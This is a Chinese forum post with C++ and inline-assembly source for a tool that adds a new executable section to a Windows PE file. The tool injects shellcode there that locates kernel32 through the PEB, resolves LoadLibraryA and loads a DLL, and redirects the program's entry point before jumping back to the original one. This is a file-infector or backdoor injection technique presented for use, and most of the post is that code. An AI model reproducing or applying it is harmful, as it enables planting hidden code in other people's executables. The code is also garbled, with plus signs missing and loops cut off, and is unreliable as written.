为PE文件增加新节,并在新节中增入SHELL CODE,PE,系统底层 2008年06月23日 星期一 下午 01:43 //add_section.cpp #include "windows.h" #include "stdio.h" //判断文件是否为合法PE文件 BOOL CheckPe(FILE* pFile) { fseek(pFile,0,SEEK_SET); BOOL bFlags=FALSE; WORD IsMZ; DWORD IsPE,pNT; fread(&IsMZ,sizeof(WORD),1,pFile); if(IsMZ==0x5A4D) { fseek(pFile,0x3c,SEEK_SET); fread(&pNT,sizeof(DWORD),1,pFile); fseek(pFile,pNT,SEEK_SET); fread(&IsPE,sizeof(DWORD),1,pFile); if(IsPE==0X00004550) bFlags=TRUE; else bFlags=FALSE; } else bFlags=FALSE; fseek(pFile,0,SEEK_SET); return bFlags; } //用来计算对齐数据后的大小 int alig(int size,unsigned int align) { if(size%align!=0) return (size/align 1)*align; else return size; } int main(int argc,char* argv[]) { if(argc!=2) { printf("\t\tusage:add_section filename\n"); exit(-1); } FILE* rwFile; if((rwFile=fopen(argv[1],"rb"))==NULL)//打开文件失败则退出 { printf("\t\tOpen file faild\n"); exit(-1); } if(!CheckPe(rwFile)) { printf("\t\tinvalid pe......!\n"); exit(-1); } //备份原文件 char szNewFile[10]="_New.exe"; if(!CopyFile(argv[1],szNewFile,0)) //若备份文件出错则退出 { printf("\t\tbak faild\n"); exit(-1); } IMAGE_NT_HEADERS NThea; fseek(rwFile,0x3c,0); DWORD pNT; //pNT中存放IMAGE_NT_HEADERS结构的地址 fread(&pNT,sizeof(DWORD),1,rwFile); fseek(rwFile,pNT,0); fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); //读取原文件的IMAGE_NT_HEADERS结构 //保存原文件区块数量与OEP int nOldSectionNo=NThea.FileHeader.NumberOfSections; int OEP=NThea.OptionalHeader.AddressOfEntryPoint; //保存文件对齐值与区块对齐值 int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment; int FILE_ALIG=NThea.OptionalHeader.FileAlignment; //定义要添加的区块 IMAGE_SECTION_HEADER NewSection; //将该结构全部清零 memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); //再定义一个区块,来存放原文件最后一个区块的信息 IMAGE_SECTION_HEADER SEChea; //读原文件最后一个区块的信息 fseek(rwFile,pNT 248,0); for(int i=0;i fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile=fopen(szNewFile,"rb "); if(newfile==NULL) { printf("\t\tOpen bak file faild\n"); exit(-1); } fseek(newfile,SEChea.PointerToRawData SEChea.SizeOfRawData,SEEK_SET); goto shellend; __asm { shell: PUSHAD MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB MOV EAX,DWORD PTR [EAX 0CH] ;获取PEB_LDR_DATA结构的指针 MOV EAX,DWORD PTR [EAX 1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX 08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址 MOV EBP,EAX ; 将Kernel32.dll模块基址地址放至kernel中 MOV EAX,DWORD PTR [EAX 3CH] ;指向IMAGE_NT_HEADERS MOV EAX,DWORD PTR [EBP EAX 120] ;指向导出表 MOV ECX,[EBP EAX 24] ;取导出表中导出函数名字的数目 MOV EBX,[EBP EAX 32] ;取导出表中名字表的地址 ADD EBX,EBP PUSH WORD PTR 0X00 ;构造GetProcAddress字符串 PUSH DWORD PTR 0X73736572 PUSH DWORD PTR 0X64644163 PUSH DWORD PTR 0X6F725074 PUSH WORD PTR 0X6547 MOV EDX,ESP PUSH ECX F1: MOV EDI,EDX POP ECX DEC ECX TEST ECX,ECX JZ EXIT MOV ESI,[EBX ECX*4] ADD ESI,EBP PUSH ECX MOV ECX,15 REPZ CMPSB TEST ECX,ECX JNZ F1 POP ECX MOV ESI,[EBP EAX 36] ;取得导出表中序号表的地址 ADD ESI,EBP MOVZX ESI,WORD PTR[ESI ECX*2] ;取得进入函数地址表的序号 MOV EDI,[EBP EAX 28] ;取得函数地址表的地址 ADD EDI,EBP MOV EDI,[EDI ESI*4] ;取得GetProcAddress函数的地址 ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串 PUSH DWORD PTR 0X41797261 PUSH DWORD PTR 0X7262694C PUSH DWORD PTR 0X64616F4C PUSH ESP PUSH EBP CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址 PUSH WORD PTR 0X00 ;构造test符串,测试新增节后的EXE是否能正常加载test.dll PUSH DWORD PTR 0X74736574 PUSH ESP CALL EAX EXIT: ADD ESP,36 ;平衡堆栈 POPAD } shellend: char *pShell; int nShellLen; __asm { LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX } //写入SHELLCODE, for(i=0;i fputc(pShell[i],newfile); //SHELLCODE之后是跳转到原OEP的指令 NewSection.VirtualAddress=SEChea.VirtualAddress alig(SEChea.Misc.VirtualSize,SECTION_ALIG); BYTE jmp = 0xE9; OEP=OEP-(NewSection.VirtualAddress nShellLen)-5; fwrite(&jmp, sizeof(jmp), 1, newfile); fwrite(&OEP, sizeof(OEP), 1, newfile); //将最后增加的数据用0填充至按文件中对齐的大小 for(i=0;i fputc('\0',newfile); //新区块中的数据 strcpy((char*)NewSection.Name,".llydd"); NewSection.PointerToRawData=SEChea.PointerToRawData SEChea.SizeOfRawData; NewSection.Misc.VirtualSize=nShellLen; NewSection.SizeOfRawData=alig(nShellLen,FILE_ALIG); NewSection.Characteristics=0xE0000020;//新区块可读可写可执行 fseek(newfile,pNT 248 sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); //写入新的块表 fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage alig(nShellLen,SECTION_ALIG); int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode alig(nShellLen,FILE_ALIG); fseek(newfile,pNT,0); NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; NThea.OptionalHeader.SizeOfCode=nNewSizeofCode; NThea.OptionalHeader.SizeOfImage=nNewImageSize; NThea.FileHeader.NumberOfSections=nOldSectionNo 1; NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; //写入更新后的PE头结构 fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile); printf("\t\tok.........!\n"); fclose(newfile); fclose(rwFile); return 1; } |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-9-30 01:29 , Processed in 0.196575 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.